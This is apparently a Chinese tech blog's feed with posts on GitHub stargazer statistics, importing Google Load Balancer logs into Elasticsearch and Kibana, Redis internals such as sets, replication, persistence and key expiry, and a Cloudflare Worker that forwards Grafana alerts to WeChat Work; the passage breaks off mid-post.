其实对于一个 GitHub 仓库而言,除了 Stargazer 数量以外,还有很多可以用来作统计和可视化的指标,我们从一个简单的问题开始吧:

给我们仓库点 Star 的用户都是什么样子的人呢?

要回答这个问题,我们可以首先看看他们都是什么时候注册的,我们以两个仓库进行对比吧:「d3/d3」和「996icu/996.ICU」,在「d3/d3」中,用户的「注册时间-注册数量」的图是这样的:

相比较之下「996icu/996.ICU」仓库的「注册时间-注册数量」图是这样的:

对比一下可以发现 Star 「996icu/996.ICU」 仓库的用户普遍注册时间比 「d3/d3」 的要晚一些,而且在 2019 年的时候注册时间还出现了一个非常突出的点,让我们回忆一下这个仓库的上线时间同时标记一下这个仓库的 Star 数量和时间曲线图:

会发现这个项目在刚刚上线的时候有非常多的 Star,之后都比较倾向于平缓,那么那段陡增的 Star 有没有可能与这段用户有关呢?

Stargazer Avatars

有的时候,我会好奇:

给这些仓库点 Star 的人,他们的头像是怎样分布的呢?

继续用「d3/d3」和「996icu/996.ICU」作为对比,首先我们把他们的 Stargazer 数据全部拉下来,然后按照用户的 Follower 数量从小到大进行排序,并从左到右,从上到下拼接到一张图片中,就有了如下的情况,首先还是 「d3/d3」:

然后是 「996icu/996.ICU」

怎么样,有没有发现 「996icu/996.ICU」 的图片中有一个非常明显的分层?从差不多 50% 的位置,以上的部分使用 GitHub 默认头像的用户较多。

除此之外,我们是不是还可以把 Stargazer 们的 Company 生成词云,了解一下他们所在公司的信息,或者根据他们留的邮箱情况来统计一下他们的邮件服务商分布呢?

其实有很多数据等待我们去发掘,为此,我专门做了一个站点,叫 GitHub Insights,地址是 https://github.re,欢迎来参观.

由于 GitHub 仓库众多,目前的爬取策略是每天更新一次 GitHub Trending 的所有仓库并生成相关的可视化图表,后续可能会根据大家的搜索结果相关做一个分析队列,并逐渐加入更多的分析数据项,目前如果你对某个仓库感兴趣,或者希望我收录某个仓库的话,暂时可以邮件联系我进行添加~

希望你会喜欢这个工具.

]]>
在 ELK 中分析 Google Load Balancer(及 CDN) 日志https://nova.moe/analyze-gcp-logs-in-elk/Wed, 23 Sep 2020 23:00:00 +0800https://nova.moe/analyze-gcp-logs-in-elk/作为一个假的 CDN 服务商,虽然流量不多,但还是希望可以对自己 CDN 的性能表现,输出流量,访客来源等进行一些统计和分析,在之前的文章「让博客变得更快——Google Load Balancer 和 Google CDN 使用小记」中已经描述了目前的 CDN 结构,可以发现所有的 TLS 流量都是在 Google Load Balancer 上结束之后到达后面的主机,如下图所示:

由于需要对性能表现进行分析,显然从 Load Balancer 上获取日志会比从主机上获取 Nginx 日志来的更加靠谱和全面一些,所以本文将简述如何导出 Google Load Balancer 的日志并使用 ELK 中的 E(lasticsearch) 和 K(ibana) 进行分析的。

GCP Log

GCP 本身提供了一个非常易懂的 Logs Viewer,如图所示:

对于其中一个请求,我们导出 JSON 之后可以发现类似如下:

{
  "httpRequest": {
    "cacheLookup": true,
    "latency": "1.216810s",
    "remoteIp": "123.123.123.123",
    "requestMethod": "GET",
    "requestSize": "351",
    "requestUrl": "https://website.test/test-quick-start.html",
    "responseSize": "6415",
    "serverIp": "10.174.0.5",
    "status": 200,
    "userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  },
  "insertId": "5u564gg12v7bsq",
  "jsonPayload": {
    "@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
    "cacheId": "CHS-45f89f72",
    "statusDetails": "response_sent_by_backend"
  },
  "logName": "projects/xxxxxx-223411/logs/requests",
  "receiveTimestamp": "2020-09-21T13:00:13.604551689Z",
  "resource": {
    "labels": {
      "backend_service_name": "xxxx-xxxx-xxxx",
      "forwarding_rule_name": "xxxxx",
      "project_id": "xxxxxxxx-xxxx",
      "target_proxy_name": "xxxx-lb-target-proxy-3",
      "url_map_name": "xxxxx-lb",
      "zone": "global"
    },
    "type": "http_load_balancer"
  },
  "severity": "INFO",
  "spanId": "209153a5bc3264e0",
  "timestamp": "2020-09-21T13:00:11.297154Z",
  "trace": "projects/nova-blog-266907/traces/f97f9d3c5f0d71ea22e13d85e0b65f16"
}

可以看到,每一个请求都有对应的 JSON 格式记录,字段非常的全面,可以帮助我们排查很多问题,但是由于 GCP 自带的 Log Viewer 功能比较简单且默认的 Rentention Period(回收周期)是 30 天(意味着这里只会保存 30 天的日志),加之我们不应该过于依赖这一个平台,于是想到了将日志导出到其他平台上进行分析。

对于日志分析来说,最简单粗暴的方式可能就是写入 MySQL,嗷不,MongoDB,但是为了方便的进行后期分析,这里使用了比较常见的 ELK 的架构。

传统的 ELK 结构如下:

但是本文中数据是直接由 Python 导入 ElasticSearch 的,所以只能算 PEK 了(雾。

Export Log

对于导出日志来说有两种方式:

  • 直接 Stream 出来,导出的是比较实时的热数据
  • 存放到 Bucket 中离线分析,属于冷数据

对于热数据的导出,GCP 官方建议的是 pubsubbeat,然而这个仓库(https://github.com/googlearchive/pubsubbeat)已经被 Google Archive 并标明了:「This project is no longer actively maintained by Google.」,加之主要我对日志分析需求并不是那么实时,所以我选择了第二种方式,离线分析。

GCP Log to GCS

由于是离线分析+归档存储(且在 GCP 平台上),第一步便是创建一个 GCS 桶并在 Logs Viewer 页面创建一个 Sink:

然后指定之前创建好的桶用于存放日志即可:

创建好了之后不要着急,因为日志是每小时导入一次的,而且这个时间并不是非常稳定。

如果上述步骤没有问题的话,GCS 中的文件类似如下:

对于 http_load_balancer 类型的日志会全部被保存在 /requests/<YYYY>/<MM>/<DD>/ 下的一堆 JSON 中,其中文件内容为一行行的 JSON 数据,数据格式如上文所示。

我们有了日志了之后就可以使用 Google 的 gsutil 定期地从 GCS 上把文件同步下来了,比如可以放在 crontab 里面:

0 * * * * gsutil rsync -d -r gs://bucket_name/ /mnt/your_logs_location

这样在你的 /mnt/your_logs_location 下就有你的所有日志了。

Aggregate Logs

从上文中我们知道,Google 对于每天的日志会分散在很多小文件中,所以如果你和我一样每天导入上一天的数据的话,首当其冲的就是整合一下一天的日志,这一步很简单,可以直接用 Python 包裹一下 Shell 进行,类似这么写:

RAW_LOG_LOC = "/mnt/your_logs_location/"
AGG_LOG_LOC = "/mnt/your_BIG_logs_location/"
# current_date -> 2020-09-02
def aggregate_logs(current_date):
    # Convert "2020-09-02" to "2020/09/02"
    date_path = current_date.replace("-","/")
    cmd = "cat " + RAW_LOG_LOC + date_path + "/* > " + AGG_LOG_LOC + current_date + ".json"
    os.system(cmd)

这样每日的零散数据就会被整合并存放在类似 /mnt/your_BIG_logs_location/2020-09-22.json 的地方。

Process Logs

默认的 Log 包含了太多信息,然而对于我们分析有效的其实主要只有如下几种:

{
  "httpRequest": {
    "latency": "1.216810s",
    "remoteIp": "123.123.123.123",
    "requestMethod": "GET",
    "requestSize": "351",
    "requestUrl": "https://website.test/test-quick-start.html",
    "responseSize": "6415",
    "serverIp": "10.174.0.5",
    "status": 200,
    "userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
  },
}

为了方便统计访客来源,我们还希望知道对应 IP 的城市和经纬度,以及请求的回源情况,同时,为了方便统计总流量,我们应该将 requestSizeresponseSize 转换成数字(而不是字符串),所以最终的日志应该类似这样:

{
  "httpRequest": {
    "latency": "1.216810s",
    "remoteIp": "123.123.123.123",
    "requestMethod": "GET",
    "requestSize": 351,
    "requestUrl": "https://website.test/test-quick-start.html",
    "responseSize": 6415,
    "serverIp": "10.174.0.5",
    "status": 200,
    "userAgent": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",

    "severity": "INFO",

    "country": "Japan",
    "city": "Heiwajima",
    "latitude": 35.5819,
    "longitude": 139.7663,

    "statusDetails": "response_sent_by_backend",

    "timestamp": "2020-09-21T13:00:11.297154Z",
  },
}

所以再加入一下 GeoIP 相关的信息:

import geoip2.database

def get_geo_info(ip_addr):
    reader = geoip2.database.Reader('/path/to/GeoIP2-City.mmdb')
    geo_data = reader.city(ip_addr)

    lat = geo_data.location.latitude
    longi = geo_data.location.longitude
    country = geo_data.country.name
    city = geo_data.city.name

    return [lat,longi,country,city]

最后 Parse 的时候需要额外处理一些逻辑,比如 statusDetails 可能是 client_disconnected_before_any_response,这种时候 responseSize 就会为空,需要额外处理一波。

最后导入的函数原型类似如下:

from elasticsearch import Elasticsearch, helpers
import os,uuid
import json
import datetime

def parse(current_date):
    real_path = AGG_LOG_LOC + current_date + ".json"
    with open(real_path) as f:
        for json_data in f:
            json_data = json.loads(json_data)
            new_object = {}

            new_object['statusDetails'] = json_data['jsonPayload']['statusDetails']

            # 此处省略

            new_object['timestamp'] = json_data['timestamp']


            if '{"index"' not in new_object:
                yield {
                    "_index": "<index_name>",
                    "_type": "<doc_type_name>",
                    "_id": uuid.uuid4(),
                    "_source": new_object
                }
# 连接 ElasticSearch 服务器
es_instance = Elasticsearch([{'host':'<Elastic_IP>','port':'9200'}])
response = helpers.bulk(es_instance, parse(yesterday))

EK Kicks in

由于直接是 Python 导入了数据到 Elasticsearch 中,并没有 Logstash,所以这里就是 EK 了~

Map

由于我们花了不少时间把所有 IP 对应的 Geo 信息都已经找了出来,下意识想到可以用 Kibana 的 Map 把所有请求的地理位置给可视化到地图上了,然后,就会发现「Couldn’t find any index patterns with geospatial fields」:

通过找一下对应 index 的 mapping:

curl <Elastic_IP>:9200/<index_name>/_mapping | jq .

就会发现,直接将字符串导入的 Geo 数据的类型在 ES 中是:

"latitude": {                                                                                                                                                                                                
  "type":     "float"                                                                                                                                                                                            
},                                                                                                                                                                                                           
"longitude": {                                                                                                                                                                                               
  "type": "float"                                                                                                                                                                                            
},                       

显然 Kibana 没有那么智能,所以为了保证地理位置信息是他们要的 geo_point 类型,我们还需要手动写一下 mapping(对应到其他数据库里面就是 schema 啦),如果在 Python 中可以这么写:

Elastic 并不能给已有数据修改 Mapping,所以还得重新导入一次

es_instance.indices.create(index='<index_name>') # 先创建一个 index(也就是库)

# 然后指定 <index_name>(也就是库) 的 <doc_type> (也就是表)的 Mapping(也就是 schema)
es_instance.indices.put_mapping(
    index="<index_name>",
    doc_type="<doc_type_name>",
    body={
        "properties": {  
            
            "latency": {"type": "text"},

            "requestSize": {"type": "long"},
            "responseSize": {"type": "long"},

            "userAgent": {"type": "text"},
            "statusDetails": {"type": "text"},
            "remoteIp": {"type": "ip"},
            "serverIp": {"type": "ip"},
            "severity": {"type": "text"},

            "timestamp": {"type": "date"},

            "country": {"type": "text"},
            "city": {"type": "text"},

            "geo": {"type": "geo_point"},
        }
    },
    include_type_name=True
)

其中,我们要的 geo 字段是一个 geo_point 类型的字段,这个字段可以通过拼接经纬度构造字符串来完成:

new_object['geo'] = str(latitude) + "," + str(longitude)

Kibana

导入完成之后我们就可以直接在 Kibana 上看到导入的数据了~

看看地图是否可以正常渲染了~

可以试试看统计各个 URL 的一些 Sent Byte 之和:

搞上计划任务,让脚本每天自动导入数据,下一步就是开始写 Dashboard 和 Visualization 以及找一些前端的同学合作来对数据的各个维度进行分析了,出于篇幅和主题明确考虑,本文就不涉及这块了。

Happy Hacking!

References

  1. Scenarios for exporting Cloud Logging: Elasticsearch
  2. Field data types | Elasticsearch Reference [7.9] | Elastic
]]>
读「How to Manage a Redis Database」的一点随笔https://nova.moe/recap-on-how-to-manage-a-redis-database/Tue, 11 Aug 2020 22:00:00 +0800https://nova.moe/recap-on-how-to-manage-a-redis-database/前段时间在使用 DO 的时候发现他们把自己的部分文档整理成了一本"书"——「How To Manage a Redis Database eBook | DigitalOcean」,全书不长,将 redis 的一些常规操作和一点点细节分章节展示了一下,花了点时间看了之后还是感觉学到了一些之前没有特别关注的比较有意思的地方,本文便来简要记录一下这些点。

什么是 Redis 以及 Redis 支持的数据类型

我看那些人面试还问 Redis,Redis 有什么卵用?

——我校上一届某程序设计大赛大佬

Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.

一般来说我们都会常规地把 Redis 理解为一个内存的 KV 数据库,许多时候我们见到它是在缓存里面,其次是一些消息队列的 broker(比如 celery),当然,除了这些常规用途之外甚至能见到一些遇事不决就直接全页面丢 Redis 企图从 Redis 输出来提升一些自己站点 “并发” 的奇怪操作。

关于 Redis 的性能相关我们后面来说,首先大概过一下 Redis 可以支持啥不同的数据类型,除了我们对于 KV 经常想到的 Key Value 全是 string 以外,Value 还可以是:

hashes, lists, sets, sorted sets with range queries, bitmaps, hyperloglogs, geospatial indexes with radius queries and streams

有点多哈~

对于我们最常用的 string 而言,Value 的最大容量是 500M,且「二进制安全」,所以无论是普通的 text,还是文本或者图片,都可以作为 string 存入。

Redis 中对于 Set 的操作

上面说到了,除了 string 以外,Redis 可以支持存入一个 Set(集合),比如我们可以这样来创建一个包含 4 个元素的 Set,Key 是 nova

127.0.0.1:6379> SADD nova kwok moe redis test
(integer) 4

127.0.0.1:6379> SMEMBERS nova
1) "test"
2) "redis"
3) "moe"
4) "kwok"

我们知道,对于栈来说,一般会有 POP 和 PUSH 两个方法,有意思的是,对于 Redis 的 Set,也有 POP 方法,用法是这样的:

127.0.0.1:6379> SPOP nova 2
1) "redis"
2) "test"

127.0.0.1:6379> SMEMBERS nova
1) "moe"
2) "kwok"

Redis 会随机地取两个值返回出来,并且删掉对应的值,如果后面没有指定那个 2 的话,只会随机取一个值出来(并删除)。

SPOP 并不适合用来做均匀分布的随机采样,背后使用的算法是 Knuth sampling 和 Floyd sampling。

说完了 SPOP 之后,你会发现它甚至还有一个类似的随机读取元素的方法,叫做 SMEMBERS,比如:

127.0.0.1:6379> SMEMBERS nova
1) "moe"
2) "kwok"

127.0.0.1:6379> SRANDMEMBER nova
"moe"

后面的参数甚至可以是负数,这样会随机取出来一个元素并且返回两次,像这样:

127.0.0.1:6379> SRANDMEMBER nova -2
1) "kwok"
2) "kwok"

这个值(的绝对值)甚至可以超过整个 Set 容量:

127.0.0.1:6379> SRANDMEMBER nova -5
1) "kwok"
2) "moe"
3) "kwok"
4) "kwok"
5) "kwok"

这是个什么需求呀.webp

不管了,这个功能先加上去,显得我们工作量很多(

——某不愿意透露姓名的名是 K 开头的男子

对于 SRANDMEMBER 官方对于它的分布是这样定义的:

The distribution of the returned elements is far from perfect when the number of elements in the set is small, this is due to the fact that we used an approximated random element function that does not really guarantees good distribution.

简单来说,如果集合太小,取样概率也不均匀。

如果希望进一步了解上述概率有多不均匀,可以参考 「Sampling characteristics of Redis sets」,以及 Redis 作者对此的回复 https://www.reddit.com/r/redis/comments/aro3lz/sampling_from_sets_in_redis/

附图一张:

Replica 机制

或者就是 Master Slave 模式,在 5.x 之后被称为 replica,之前都是 slave

如果你的单 Redis 实例由于某些原因导致性能不够的时候(Redis 并非 CPU 或者 IO 密集型应用),可以通过打开新起一个实例并设置为原有实例的 Replica 进行,方法很简单,如果在 redis-cli 中,使用:

REPLICAOF <Host> <Port>

4.x 版本是:

SLAVEOF <Host> <Port>

注意默认 Port 是 6379 ,不是 2379…

为了区分 “同步”(动词) 与 “同步/异步” 中的同步,以下 “同步”(动词) 改为 “传送”

当成功建立连接之后 Master 节点会定期向 Replica 节点传送在 Master 上执行的指令(类似 AOF 模式),如果 Replica 短暂掉线,重新恢复后会继续尝试传送缺失的数据,如果不能通过传送缺失数据恢复,Master 则会建立一个 snapshot 传送给 Replica 进行恢复(类似 RDB 模式)。

如果是这种 Master-Replica 传送的话,每次传送是异步进行的,即不能保证 Master 和 Replica 上数据强一致,此时 Redis “集群” 是一个 AP 系统,如果不希望异步传送的话,可以加上 WAIT,当然,这样也并不会把集群变成一个强一致 CP 系统。

Redis 如何持久化数据

如果只是作为业务前的一个串行的缓存的话,可能你并没有怎么考虑过持久化这个话题(大不了 Redis 挂了,缓存数据没了然后请求全部落到数据库上,数据库被打穿嘛),但是 Redis 的确有它独有的持久化方式,被称为——AOF(Append Only File) 和 RDB(Redis Database File).

  • RDB 方式是在「进行持久化操作的时候」将 Redis 的用户数据压缩存储起来,存储的是 Redis 中的数据内容,类似 MySQL 中 mysqldump 出来的数据
  • AOF 的方式是将用户的操作记录全部给记录下来,并在恢复的时候全部重放(replay)一遍,恢复到「进行持久化时候的状态」,相比较而言,这种方式产生的文件大小一般会大于 RDB 方式持久化的数据,且恢复起来比较慢,但是好处在于它是每条操作全部记录,不容易出现 RDB 持久化后进行了一些操作之后 Redis 崩溃而失去那个时间段的数据的问题

当然,你也可以 RDB 和 AOF 的方式都打开,但是重启 Redis 后,它会优先使用 AOF 方式的数据(因为更加有可能包含最后一条操作)。

要保存当前 Redis 实例中的数据的话,使用 save 就好了,会用 RDB 方式导出一个 .rdb 文件,这是个同步操作,由于 Redis 是单线程模型,这样的操作会 block 掉其他 client 的请求,所以如果不是为了关机 (跑路) 的话,建议使用 bgsave 来进行,此时 Redis 会 Fork 出来一个线程用来保存数据,父线程继续处理 Client 的请求。

如果要自动进行 RDB 持久化的话,通过修改 /etc/redis.conf 中对应字段:

save 900 1
save 300 10
save 60 10000
. . .
dbfilename "nextfile.rdb"

其中 900 1 表示,如果至少改了一个 key 的话,900 秒持久化一次,300 10 表示如果操作了 10 个 key 及以上的话,每 300 秒持久化一次,以此类推。

官方对于这两种不同的备份方式有更加详尽的介绍,可以参考:「Redis Persistence」一文。

Redis 是如何给 Key 过期的

我们知道,在 SET 一个 Key 的时候,有一个可选的选项,叫做 expire,例如:

SET nova "kwok expire in a minute" EX 60

那么这个 Key 会在 60 秒后过期,之后就再也 get 不到它了,那么 redis 是如何设计自己的 Key 过期机制的呢?

在官方文档「EXPIRE – Redis」中,我们可以知道,Redis 对于 Key 的过期有两种方式,一种是「被动方式,passive way」,一种是「主动方式,active way」, passive way 很好理解,当来了一个请求的时候判断一下 Key 是否过期了,如果过期了,就把 Key 删了,然后返回个 nil,仿佛这个 Key 没有存在过,但是如果只有这一种 expire 方式的话,一旦大量 key 长期没有被使用,Redis 就把内存吃完了,所以还有个 active way,原理如下:

每 1/10 秒内就执行一遍以下操作:

  1. 首先随机选择 20 个设置了 expire 参数的 key
  2. 把过期了的 key 给删了
  3. 如果删的 key 数量超过 25% 了,那么再回到第一步

对应的代码在 src/expire.c 下,函数如下:

void activeExpireCycle(int type)

从函数传入参数 type 配合注释来看,activeExpireCycle 有两种模式:

  • ACTIVE_EXPIRE_CYCLE_FAST,这种模式下 Expire Key 的原则是删过期 Key 的时间不超过定义的 EXPIRE_FAST_CYCLE_DURATION(目前的定义是 1 秒),如果一次删 Key 超过了 1 秒,那么不会运行下一次删除
  • ACTIVE_EXPIRE_CYCLE_SLOW,这个会通过 ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC 来进行判断,这个目前的定义是 25(25% 的 CPU 占用率)

相关的常量定义如下,如果希望最简单地修改 expire 逻辑的话,可以通过直接修改这些值并重新编译来完成。

#define ACTIVE_EXPIRE_CYCLE_KEYS_PER_LOOP 20 /* 每次找 20 个 Key. */
#define ACTIVE_EXPIRE_CYCLE_FAST_DURATION 1000 /* Microseconds. */
#define ACTIVE_EXPIRE_CYCLE_SLOW_TIME_PERC 25 /* Max % of CPU to use. */
#define ACTIVE_EXPIRE_CYCLE_ACCEPTABLE_STALE 10 /* % of stale keys after which
                                                   we do extra efforts. */

对于上述步骤 3 来说,是通过一个 do while 循环实现:

do{
	// 清理 Key
} while (sampled == 0 ||
        (expired*100/sampled) > config_cycle_acceptable_stale);

检查 key 是否过期的函数:

int checkAlreadyExpired(long long when) {
    /* EXPIRE with negative TTL, or EXPIREAT with a timestamp into the past
     * should never be executed as a DEL when load the AOF or in the context
     * of a slave instance.
     *
     * Instead we add the already expired key to the database with expire time
     * (possibly in the past) and wait for an explicit DEL from the master. */
    return (when <= mstime() && !server.loading && !server.masterhost);
}

Transaction (Redis 的事务)(误

这里需要记住的是,Redis does not have any rollback mechanism at all - that isn’t what Redis’ transaction are about.

记住了?我们继续~

Redis 中我们可以提交一系列的操作,通过如下方式进行:

multi
set key_MeaningOfLife 1
incr key_MeaningOfLife
incrby key_MeaningOfLife 40get key_MeaningOfLife
exec

然后 Redis 会依次返回每次的操作结果。

但是这里要注意的是,除非有语法错误,否则 Transaction 并不会保证整个 Block 内是完全执行的,比如如下操作:

127.0.0.1:6379> get noo
(nil)
127.0.0.1:6379> multi
OK
127.0.0.1:6379> set noo 146
QUEUED
127.0.0.1:6379> incrby noo "nova"
QUEUED
127.0.0.1:6379> exec
1) OK
2) (error) ERR value is not an integer or out of range
127.0.0.1:6379> get noo
"146"

上述操作中没有语法错误,但是尝试给 146 自增了一个 string,所以在那个指令上报错了,但是,set 指令依然是有效的,且会被执行(提交),又由于开头我们提到的,Redis 的 Transaction 中是没有回滚机制的,所以这个是一个和关系型数据库中同术语但是意义完全不同的一个操作,希望引起注意。

Redis 性能如何

「我就感觉到快.jpg」

「有缓存肯定就和 Nginx 一样快了」

Redis 究竟有多快?一般我们可以从 Troughtput(OPS) 和延迟两个角度来进行,对于前者,官方给的图如下:

此外我们可以在 「Redis 的性能幻想与残酷现实」 中看到,当 Data Size 增加的时候 Redis 的 Troughtput 会有一个较大的拐点:

所以许多问题并不是无脑丢缓存/Redis 就可解决的。

Redis 中有多少 Typo

最后:

➜  redis git:(unstable) git shortlog  | cat | grep "typo" | wc -l
232

(跑~

Reference

  1. SRANDMEMBER key [count]
  2. SPOP key [count]
  3. EXPIRE – Redis
  4. Redis Persistence
  5. Redis 的性能幻想与残酷现实
  6. Sampling characteristics of Redis sets
]]>
Cloudflare Workers 初探——以 G2WW 作为例子转发 Grafana 报警到企业微信https://nova.moe/first-touch-with-cf-workers/Mon, 20 Jul 2020 22:00:00 +0800https://nova.moe/first-touch-with-cf-workers/在 2018 年 3 月 13 日,Cloudflare Blog 发布了一篇文章:「Everyone can now run JavaScript on Cloudflare with Workers」,标志着 Cloudflare 的 “Serverless” 平台的 “GA”,作为一个标榜 “Edge computing for everyone” 的产品,Cloudflare Workers 或许是我们能接触到的最 “亲民” 的 Serverless 产品。

什么是 Serverless

Wiki 对于 Serverless Computing 的解释是:

Serverless computing is a cloud computing execution model in which the cloud provider runs the server, and dynamically manages the allocation of machine resources. Pricing is based on the actual amount of resources consumed by an application, rather than on pre-purchased units of capacity.

我对于 Serverless 的理解是:

  • 尽可能使用云服务商的资源(不一定是服务器,主要是云函数和对象存储)
  • 编写业务逻辑与云服务商的服务(例如数据库)交互

关于 Serverless ,个人认为一个最好的诠释应该是下图:

对于静态内容来说,可以直接通过 S3 (搭配 Cloudfront)进行输出,对于动态的请求来说,只需要自己写好业务逻辑,去请求后端的服务即可,然后,无需考虑自己服务器部署,维护等内容,且真正按量计费。

什么是 Cloudflare Workers

相比较传统的 Serverless 框架来说,Cloudflare Workers 更近了一步,传统的 Serverless 结构还是有一个中心化的部署(比如应用就部署在 us-west 区域),甚至某些厂商认为自己的 Managed Docker 也是 Serverless,非常迷惑,前面是服务商的 CDN,而 Cloudflare 的函数部分是全球化的,计算逻辑直接跑在边缘节点上,依托他们的全球 Anycast 网络。这一点类似 Amazon 的 Lambda@Edge

Cloudflare 对于自己的 Workers 是这么介绍的:

You write code. We handle the rest.

以及:

Deploy serverless code to data centers across 200 cities in 95 countries to give it exceptional performance and reliability.

相对比传统的业务逻辑,我们将应用部署在自己的服务器上,并使用 Cloudflare 进行 CDN 加速(或者减速),终端用户的所有请求(一般来说就是 HTTP 请求啦)会先通过 Cloudflare 的网络,然后再由 Cloudflare 走公网反向代理到自己的应用服务器上,等应用服务器完成处理后请求再通过 Cloudflare 的边缘节点重新返回给用户(这个过程称为:回源)。

这么一来有两个问题:

  1. 回源需要时间

对于一个源站在日本的服务器来说,如果一个欧洲用户访问,那么用户的访问请求会通过 Cloudflare 位于欧洲的服务器返回到日本的源站上,期间直接走公网,如果你对 Cloudflare 回源机制还不熟悉的话,可以参考我的博文「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」,内部讲解了 Cloudflare 回源机制,以及 Cloudflare 的增值服务——Argo。

  1. 计算的压力全部落在了源站上

由于是一个中心化的源站(当然,如果你使用了负载均衡器等另说),来自不同地区的访客的计算压力会全部落在自己的架构上。

Cloudflare Workers 的出现可以解决以上两个问题,Workers 的工作模式是在 Cloudflare 的 200+ 个数据中心(边缘节点)上直接运行用户的 Javascript 代码,所有的计算全部在边缘进行,此外,为了保证 Stateful 的服务,Workers 还提供一个全球低延迟(利用 Cloudflare 内网)的 KV 键值对数据库用于边缘应用的读写。

除了这些以外,还有一些小特性值得关注:

  • 小于 5ms 的代码冷启动时间
  • 15 秒内推送到 Cloudflare 的所有数据中心(边缘节点)
  • 毫秒级的运行速度

Cloudflare Workers 效果

别的不多说,我们先给一个对比图,以下是 webp-sh/webp_server_go,的官网: https://webp.sh 的内容,我们观察两种不同的使用 Cloudflare 的方式:

Cloudflare 直接反向代理

结构如下,网站的静态内容放置在 GCP 的日本 Osaka,使用的 Premium 网络,即使用了「冷土豆路由」,保证服务器到访客之间尽可能多的在 Google 内网内,此外,前端加入 Cloudflare 反向代理。

我们从 ping 值会发现,由于 Cloudflare 有 Anycast,在海外部分 ping 的延迟符合 Cloudflare 的预期:

这是因为我们的 ICMP 包在 Cloudflare 的边缘节点就已经有了 echo,然而对于网页访问来说是 HTTP 的 GET 请求,这里评判用户看到网页速度的要素不只是 ping 值,还有 TTFB:

TTFB measures the duration from the user or client making an HTTP request to the first byte of the page being received by the client’s browser. This time is made up of the socket connection time, the time taken to send the HTTP request, and the time taken to get the first byte of the page. Although sometimes misunderstood as a post-DNS calculation, the original calculation of TTFB in networking always includes network latency in measuring the time it takes for a resource to begin loading.

可以看到,在日本地区 TTFB 最小(因为距离最短,日本访客 -> Cloudflare 日本节点 -> 日本源站),而在德国,TTFB 就大的多了。

Cloudflare Workers Site

这里直接使用了 Cloudflare Workers Site 的功能,将 webp.sh 的网页直接推到 Workers 的 KV 存储中,并使用一个临时域名进行展示,可以看到,由于直接从 Cloudflare 边缘节点进行输出(没有回源的开销),这个时候的 TTFB 就已经大幅度减少:

Cloudflare Workers 怎么用

相信看到上面的例子你应该已经大概明白了 Cloudflare Workers 是啥,以及它所能带来的好处了,现在我们看看 Cloudflare Workers 怎么用,可惜的是,目前在 Google 上搜索「Cloudflare Workers」相关除了看到 Sukka 的一篇「将 Hexo 部署到 Cloudflare Workers Site 上的趟坑记录」以外就只能看到大家都在用 EtherDream 写的 JSProxy 做代理翻墙…

我们来看看 Cloudflare Workers 怎么用吧。

安装 Wrangler

这一步其实比较简单,在安装好 NPM 后直接按照 Quick Start 安装就好:

npm install -g @cloudflare/wrangler

然后就可以 wrangler generate my-router-app 创建一个 APP 了,这里建议先通篇阅读一下上述的 Quick Start.

index.js

在安装好 APP 之后,你就有 开局一个 index.js 可以用了,内容一般是这样的:

addEventListener('fetch', event => {
  event.respondWith(handleRequest(event.request))
})
/**
 * Respond with hello worker text
 * @param {Request} request
 */
async function handleRequest(request) {
  return new Response('Hello worker!', {
    headers: { 'content-type': 'text/plain' },
  })
}

警告:由于我没有学过 Javascript ,以下纯属瞎掰,仅供娱乐使用

这里的 addEventListener 是整个程序的入口,目前 Cloudflare Workers 只支持 FetchEvent,这一种。

G2WW

好了,标题中我们提到了 G2WW,这里就以 G2WW 作为例子进行演示 Worker 的一个用法,我们知道 Grafana 的报警 Channel 中是没有「企业微信」的(但是有 DingDing,很奇怪),所以为了保证企业微信用户也可以通过 Grafana 进行报警,我们需要做一点改装。

企业微信的一个"接口"就是「机器人」,它支持 Webhook 调用,只需要按照他们的规范 POST 一个数据即可,他们的规范如下:

{
  "msgtype": "news",
  "news": {
    "articles": [
      {
        "title": "这里是标题",
        "description": "你的服务掉线了",
        "url": "https://status.xxx.xxx/grafana/xxx",
        "picurl": "https://kongbu.de.diaoxian.tupian/1.jpg"
      }
    ]
  }
}

Grafana 支持一个 Webhook 报警,Example 如下:

{
  "dashboardId":1,
  "evalMatches":[
    {
      "value":1,
      "metric":"Count",
      "tags":{}
    }
  ],
  "imageUrl":"https://grafana.com/static/assets/img/blog/mixed_styles.png",
  "message":"Notification Message",
  "orgId":1,
  "panelId":2,
  "ruleId":1,
  "ruleName":"Panel Title alert",
  "ruleUrl":"http://localhost:3000/d/hZ7BuVbWz/test-dashboard?fullscreen\u0026edit\u0026tab=alert\u0026panelId=2\u0026orgId=1",
  "state":"alerting",
  "tags":{
    "tag name":"tag value"
  },
  "title":"[Alerting] Panel Title alert"
}

那么我们的需求就很明确了,就是需要将 Grafana Webhook 的报警内容提取需要的字段并转发到企业微信的接口上即可,该怎么做呢?

首先我们需要区分请求是 GET 请求还是 POST 请求:

addEventListener('fetch', event => {
  const { request } = event
 if (request.method === 'POST') {
    return event.respondWith(postWeChatUrl(request))
  } else if (request.method === 'GET') {
    return event.respondWith(new Response(banner_content, {
      headers: { 'content-type': 'text/html' },
    }))
  }
})

对于 POST 请求,我们对内容进行处理,并转发到企业微信的 API 地址上:

async function postWeChatUrl(request) {
  var key = request.url.replace(/^https:\/\/.*?\//gi, "")

  // 这里我们拼接一下,对于访问 https://g2ww-serverless.nova.moe/xxxxxx-xxxxxx 的请求就自动发到 https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=xxxxxx-xxxxxx 下
  var wechat_work_url = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=" + key

  var json_obj = await request.json()

  // 重新构造 JSON
  var template = 
  {
		"msgtype": "news",
		"news": {
		  "articles": [
			  {
				"title": json_obj['title'],
				"description": json_obj['message'],
				"url": json_obj['ruleUrl'],
				"picurl": json_obj['imageUrl']
			  }
		  ]
		}
  }

  const init = {
    body: JSON.stringify(template),
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
  }

  // 发出请求
  const response = await fetch(wechat_work_url, init)

  // 准备结果
  const results = await gatherResponse(response)
  return new Response(results, init)

}

最后处理一下返回值并返回给客户端就可以了:

